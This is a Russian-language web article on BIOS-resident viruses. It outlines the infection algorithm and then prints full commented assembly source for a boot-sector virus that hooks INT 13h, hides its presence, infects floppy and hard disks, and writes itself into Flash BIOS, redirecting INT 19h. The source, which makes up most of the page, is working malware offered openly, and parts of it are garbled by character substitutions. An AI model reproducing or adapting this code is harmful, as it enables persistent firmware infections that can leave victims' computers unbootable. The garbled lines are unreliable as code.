- 1320 Просмотров
- Обсудить
FLASH BIOS
Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!
Да‑да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего‑то большего, а именно – возможности трассировать прерывание INT 16h.
ПРИМЕЧАНИЕ
Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого‑либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.
Почему все так сложно и как с этим связан антивирусный монитор?
Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash‑памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?
Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.
1. Вирус проверяет систему на наличие Flash BIOS.
2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе – осуществить выход).
3. Считывается вектор INT 19h из таблицы (прерывание загрузки).
4. Читает первые пять байт от точки входа INT 19h.
5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).
6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).
7. Запись вируса в найденную свободную область.
8. Запись перехода на вирус в точку входа INT 19h.
9. Возврат Flash BIOS в режим "только чтение".
Вот, собственно, и сам код с комментариями
Код вируса, поражающего BIOS ;
Вирусный код, заражающий Flash BIOS.
; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;
даже с "чистой" дискеты.
org 0
; При входе в boot‑сектор 01=загрузочный диск
mov si, 7C00h ;
Устанавливаем 0000h в регистрах DS и ES
хог ах, ах
mov es, ax
mov ds, ax
; Устанавливаем значение стека 0000h:7C00h
cli
mov ss, ax
mov sp, si
sti
; Уменьшаем на 1Кбайт память (0040h:0013h)
dec word ptr [0413h] ;
Получаем размер памяти (при возврате в АХ)
int 12h
mov cl, 6
shl ax, cl
; Устанавливаем новый сегмент вируса
mov es, ax
; Переносим вирусный сектор в вершину памяти
xor di, di
mov cx, 200h
cld
rep movsb
; Сохраняем вектор прерывания INT 13h
mov ax, word ptr [13h*4]
mov word ptr es: [off set i13], ax
mov ax, word ptr [13h*4+2]
mov word ptr es: [offset i13+2], ax
; Устанавливаем новый вектор прерывания INT 13h
mov word ptr [13h*4], offset Handler
mov word ptr [13h*4+2], es
; Переходим в точку ES:Restart (в копии вируса,
; находящейся в вершине памяти)
already_resident:
push es
mov ax, offset Restart
push ax
retf
; Ниже программа работает уже в вершине памяти
Restart:
; Загружаем оригинальный boot‑сектор из конца
; root directory и передаем ему управление
xor ах, ах
call int13h
; Готовим регистры для загрузки оригинального boot‑сектора
хог ах, ах
mov es, ax
; Сегмент для загрузки
mov bx, 7C00h
; Смещение для загрузки
mov cx, 0002h
; Дорожка 0, сектор 2
xor dh, dh
; Головка 0
mov ax, 0201h ;
Функция 2, количество секторов 1
; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,
; иначе – дискета. Копию оригинального boot‑сектора храним :
; на жестком диске – дорожка 0, головка 0, сектор 2;
; на дискете – дорожка 0, головка 1, сектор 14
cmp dl, 80h
jae MBR_Loader
; Грузимся с дискеты: изменим сектор и головку
mov с1, 14 ; Сектор 14
mov dh, 1 ; Головка 1
; 3агрузим оригинальный boot‑сектор по адресу 0000h:7C00h
MBR_Loader:
call int13h
; Сохраняем в стеке номер диска, с которого грузимся
push dx
; Проверяем, заражен ли Flash BIOS
cmp byte ptr cs:flash_done, 1
je Flash_resident
; Инфицируем Flash BIOS
call flash_BIOS
; Восстанавливаем из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
; 3апускаем оригинальный boot‑сектор (JMP FAR 0000h:7C00h)
db 0EAh
dw 7C00h
dw 0
;Скрываем присутствие вируса методом чтения оригинального boot‑сектора
Stealth:
; Останавливаем значения сектора, где хранится копия оригинального
; boot‑сектора
mov cx, 02h
mov ax, 0201h
; Проверяем, откуда считан boot‑сектор (дискета или жесткий диск),
; так как копии хранятся в разных местах
cmp dl, 80h
jae hd_stealth
mov cl, 14
mov dh, 1 hd_stealth:
; Читаем копию оригинального boot‑сектора
call int13h
; Выходим из обработчика прерывания
jmp pop_exit
; Проверяем наличие резидентного вируса
restest:
xchgah, al
iret
; Обработчик прерывания INT 13h
Handler:
cmp ax, 0ABBAh
je restest
; Перехватываем только функцию 02h (чтение сектора): проверяем
; номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah, 2
jne jend
; Проверяем номера дорожки и сектора, интересуясь только теми
; секторами, в которых может оказаться вирус :
; дорожка 0, головка 0, сектор 1
cmp cx, 1
jne jend
; Проверим номер головки. Если не 0, то запустим
; оригинальный обработчик
cmp dh, 0
jne jend
tryinfect:
; Считаем сектор в буфер (для дальнейшей обработки).
; Для этого вызовем оригинальный INT 13h
call int13h
jc jend
; Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;
Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker], "LV"
je stealth
; Если диск не заражен, то заражаем
cmp dl, 80h
jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого
; диска для сохранения оригинального boot‑сектора
mov cx, 2
xor dh, dh
jmp write_virus
infect_Floppy:
; Установим номера дорожки, головки и сектора для дискеты
; для сохранения оригинального boot‑сектора
mov сх, 14
mov dh, 1
Write_Virus:
; Записываем оригинальный boot‑сектор
mov ax, 0301h
call int‑lSh
jc pop_exit
; Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
; Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done, 0
; 3апишем тело вируса в boot‑сектор
xor bx, bx
mov ax, 0301h
mov cx, 0001h
xor dh, dh
call int13h
; Восстановим регистры и флаги (как раз те их значения, которые
; свидетельствуют о том, что boot‑сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
; Выходим из обработчика в вызывающую программу
retf2
; 3апуск оригинального обработчика
jend:
DD 0EAh ; Код команды JMP FAR ;
Оригинальный вектор INT13h
i13 DD 0
; Вызов прерывания INT 13h
int13h proc near
pushf
call dword ptr cs:[i13]
ret
int13h endp
; Первые два байта слова используются как сигнатура
Marker db "VLAD"
; Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
; Проверим наличие Flash BIOS
mov ax, 0e000h
int 16h
jc no_flash_bios
cmp al, 0FAh
jne no_flash_bios
; Сначала найдем хорошее место для хранения вируса.
; Просканируем память F000h‑FFFFh, где обычно находится BIOS,
; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
; но выделить нужно с запасом
infect_Flash:
; Остановим начальный сегмент для поиска
mov ax, 0F000h
mov ds, ax
; Проверим сегмент
New_segment:
; Остановим стартовое смещение
xor si, si
; Остановим счетчик найденных байт
; (величина свободного места для вируса)
xor dx, dx
ok_new_segment:
; Перейдем к следующему сегменту
inc ax
mov ds, ax
; Проверим, есть ли еще место для вируса
cmp ax, 0FFF0h
je no_flash_BIOS
; Проверим, свободно ли место (для скорости проверяем словами)
test16:
cmp word ptr [si], 0
jne new_segment
; Увеличим счетчик размера найденного свободного места
inc dx
; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но
; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)
cmp dx, 512
je found_storage
; Увеличим смещение проверяемого байта
inc si
inc si
; Сравним с 16. Переходим к следующему сегменту
; в начале каждого параграфа
cmp si, 16
je ok_new_segment
jmp test16
; B эту точку попадаем, если место найдено
Found_storage:
; Перейдем к началу зоны
sub ax, 40h
mov ds, ax
; Получим требования к сохранению состояния чипа
mov ax, 0E001h
int 16h
; Проверим, сколько памяти необходимо для сохранения состояния
; чипа. Если слишком много, не будем сохранять состояние
cmp bx, 512
jbe save_chipset
; Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset, 1
; Перейдем к записи
jmp write_enable
; Сюда попадаем, если Flash BIOS не обнаружен:
; записывать некуда – выходим
No_Flash_BIOS:
ret
; Сохраним состояние чипа
save_chipset:
; Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset, 0
; Сохраним состояние
mov al, 2
push cs
pop es
mov di, offset buffer
int 16h
; Записываемся во Flash BIOS
write_enable:
; Повышаем напряжение
mov al, 5
int 16h
; Разрешаем запись во Flash BIOS
mov al, 7
int 16h
; Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di, di
mov cx, 512
push cs
pop ds
xor si, si
cld
rep movsb
mov bx, es ; ВХ=сегмент вируса
xor ах, ах
mov ds, ax ; DS=Ta6nHua векторов
mov di, word ptr [19h*4] ; Смещение INT 19h
mov es, word ptr [19h*4+2] ; Сегмент INT 19h
; 3апишем JMP FAR по адресу точки входа в INT 19h
mov al, 0EAh
stosb
mov ax, offset int19handler
stosw
mov ax, bx
stosw
; Понизим напряжение
mov ax, 0E004h
int 16h
; 3ащитим Flash BIOS от записи
mov al, 6
int 16h
; Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset, 0
jne No_Flash_BIOS
; Восстановим состояние чипа
push cs
pop es
mov al, 3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
; Флаг несохранения состояния чипа
chipset db 0
; Флаг присутствия вируса во Flash BIOS
flash_done db 0
; Наш обработчик INT 19h.
int19Handler Proc Near
; Установим сегментный регистр ES в ноль
хог ах, ах
mov es, ax
; Проверим наличие резидентного вируса
mov ax, 0ABBAh
int 13h
; Если вирус присутствует, то запускаем оригинальный
; обработчик прерывания INT 19h
cmp ax, 0BAABh
jne real_int19h
; Перенесем вирус из BIOS в boot‑буфер
push cs
pop ds
cld
xor si, si
mov di, 7c00h
mov cx,512
rep movsb
; 3апустим вирус в boot‑буфере
mov dl, 80h
jmp goto_Buffer
real_int19h:
; Произведем сброс дисковой подсистемы
xor ax, ax
int 13h
; Проинициализируем значения регистров для загрузки boot‑сектора
mov cx, 1
mov dh, 0
mov ax, 0201h
mov bx, 7C00h
; Проверим, откуда грузимся: если DL не нулевой,
; переходим к загрузке с жесткого диска
cmp dl, 0
ja hd_int19h
; Прочтем boot‑сектор с дискеты. Если при чтении происходит
; ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
; Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done], 1
; 3апустим boot‑сектор, находящийся в boot‑буфере
db 0EAh ; Код команды JMP FAR
dw 7c00h
dw 0 Fix_HD:
; Установим номер диска для загрузки (диск С)
mov dl, 80h
HD_int19h:
; Произведем сброс дисковой подсистемы
хог ах, ах
int 13h ;
Прочтем boot‑сектор
mov ax, 0201h
int 13h
jc Boot
jmp Goto_Buffer ;
Если не удалось загрузить boot‑сектор,
; вызываем прерывание INT 18h
Boot:
int 18h
int19Handler EndP
Flash_BIOS EndP
End_Virus:
; Размер области памяти, необходимый для дополнения
; размера вируса до 510 байт
DupSize equ 510‑offset End_Virus
; Заполнение не занятой вирусом части сектора
db DupSize dup (0)
db 55h, 0aah
Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).
Будь-те первым, поделитесь мнением с остальными.